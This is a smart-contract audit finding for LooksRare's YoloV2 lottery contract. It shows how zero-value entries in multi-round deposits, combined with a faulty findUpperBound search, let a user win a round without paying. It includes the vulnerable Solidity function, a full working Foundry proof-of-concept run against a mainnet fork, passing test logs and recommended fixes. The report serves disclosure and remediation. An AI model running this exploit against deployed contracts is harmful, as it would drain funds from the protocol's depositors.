Steep Orange Buffalo

high

# Attackers can deposit nothing to win round

## Summary
The ````depositETHIntoMultipleRounds()```` and ````findUpperBound()```` are not well implemented, attacks can exploit them to win round with zero deposits.

## Vulnerability Detail
1. Attackers can call  ````depositETHIntoMultipleRounds()```` with parameters like this ````[0.01 ether, 0, 0, 0, 0]```` to deposit for round [1, 2, 3, 4, 5] respectively.
```solidity
File: contracts\YoloV2.sol
312:     function depositETHIntoMultipleRounds(uint256[] calldata amounts) external payable nonReentrant whenNotPaused {
313:         uint256 numberOfRounds = amounts.length;
314:         if (msg.value == 0 || numberOfRounds == 0) {
315:             revert ZeroDeposits();
316:         }
317: 
318:         uint256 startingRoundId = roundsCount;
319:         Round storage startingRound = rounds[startingRoundId];
320:         _validateRoundIsOpen(startingRound);
321: 
322:         _setCutoffTimeIfNotSet(startingRound);
323: 
324:         uint256 expectedValue;
325:         uint256[] memory entriesCounts = new uint256[](numberOfRounds);
326: 
327:         for (uint256 i; i < numberOfRounds; ++i) {
328:             uint256 roundId = _unsafeAdd(startingRoundId, i);
329:             Round storage round = rounds[roundId];
330:             uint256 roundValuePerEntry = round.valuePerEntry;
331:             if (roundValuePerEntry == 0) {
332:                 (, , roundValuePerEntry) = _writeDataToRound({roundId: roundId, roundValue: 0});
333:             }
334: 
335:             _incrementUserDepositCount(roundId, round);
336: 
337:             uint256 depositAmount = amounts[i];
338:             if (depositAmount % roundValuePerEntry != 0) {
339:                 revert InvalidValue();
340:             }
341:             uint256 entriesCount = _depositETH(round, roundId, roundValuePerEntry, depositAmount);
342:             expectedValue += depositAmount;
343: 
344:             entriesCounts[i] = entriesCount;
345:         }
346: 
347:         if (expectedValue != msg.value) {
348:             revert InvalidValue();
349:         }
350: 
351:         emit MultipleRoundsDeposited(msg.sender, startingRoundId, amounts, entriesCounts);
352: 
353:         if (
354:             _shouldDrawWinner(
355:                 startingRound.numberOfParticipants,
356:                 startingRound.maximumNumberOfParticipants,
357:                 startingRound.deposits.length
358:             )
359:         ) {
360:             _drawWinner(startingRound, startingRoundId);
361:         }
362:     }

```

2. The ````findUpperBound()```` also doesn't work while arrays contain equal elements, e.g. calling with
```solidity
findUpperBound([2,2,2,2], 2)
```
should return ````0````, but actually return ````3````.
![img](https://c2n.me/4kbR2IP.png)

3. The full coded PoC:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {IERC20} from "@looksrare/contracts-libs/contracts/interfaces/generic/IERC20.sol";
import {IERC721} from "@looksrare/contracts-libs/contracts/interfaces/generic/IERC721.sol";

import {VRFConsumerBaseV2} from "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";

import {YoloV2} from "../../contracts/YoloV2.sol";
import {IYoloV2} from "../../contracts/interfaces/IYoloV2.sol";
import {TestHelpers} from "./TestHelpers.sol";

contract Yolo_Bug_Test is TestHelpers {
    function setUp() public {
        _forkMainnet();
        _deployYolo();
        _subscribeYoloToVRF();

        vm.deal(user1, 1 ether);
        vm.deal(user2, 1 ether);
        vm.deal(user3, 1 ether);
    }

    function test_WinWithZeroDeposits() public {
        uint256[] memory amounts = new uint256[](2);

        amounts[0] = 0.01 ether;
        amounts[1] = 0.01 ether;
        vm.prank(user1);
        yolo.depositETHIntoMultipleRounds{value: 0.02 ether}(amounts);

        amounts[0] = 0.01 ether;
        amounts[1] = 0 ether; // deposit nothing to round 2
        vm.prank(user2);
        yolo.depositETHIntoMultipleRounds{value: 0.01 ether}(amounts);

        amounts[0] = 0.01 ether;
        amounts[1] = 0 ether; // deposit nothing to round 2
        vm.prank(user3);
        yolo.depositETHIntoMultipleRounds{value: 0.01 ether}(amounts);


        (, , , uint40 cutoffTime, , , , , ,) = yolo.getRound(1);
        vm.warp(cutoffTime);
        yolo.drawWinner();

        uint256[] memory randomWords = new uint256[](1);
        randomWords[0] = 111;
        vm.prank(VRF_COORDINATOR);
        VRFConsumerBaseV2(yolo).rawFulfillRandomWords(FULFILL_RANDOM_WORDS_REQUEST_ID, randomWords);

        (, , , cutoffTime, , , , , ,) = yolo.getRound(2);
        vm.warp(cutoffTime);
        yolo.drawWinner();
        vm.prank(VRF_COORDINATOR);
        VRFConsumerBaseV2(yolo).rawFulfillRandomWords(FULFILL_RANDOM_WORDS_REQUEST_ID_2, randomWords);

        // user3 deposits nothing to round 2, but finally win the round
        (, , , , , , address winner, , , ) = yolo.getRound(2);
        assertEq(user3, winner);
    }
}

```

4. And test logs:
```solidity
2024-01-looksrare-ydspa\contracts-yolo> forge test --match-contract Yolo_Bug_Test -vv
[⠑] Compiling...
[⠒] Compiling 106 files with 0.8.23
[⠃] Solc 0.8.23 finished in 456.75sCompiler run successful with warnings:
[⠊] Solc 0.8.23 finished in 456.75s

Running 1 test for test/foundry/Yolo.Bug.t.sol:Yolo_Bug_Test
[PASS] test_WinWithZeroDeposits() (gas: 869626)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.18s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

## Impact
Attackers could drain significant fund from the protocol with extreme low cost.

## Code Snippet
https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L312


## Tool used

Manual Review

## Recommendation
(1) zero deposits should be rejected in ````depositETHIntoMultipleRounds()````
(2) ensure ````findUpperBound()```` to return the first qualified element.
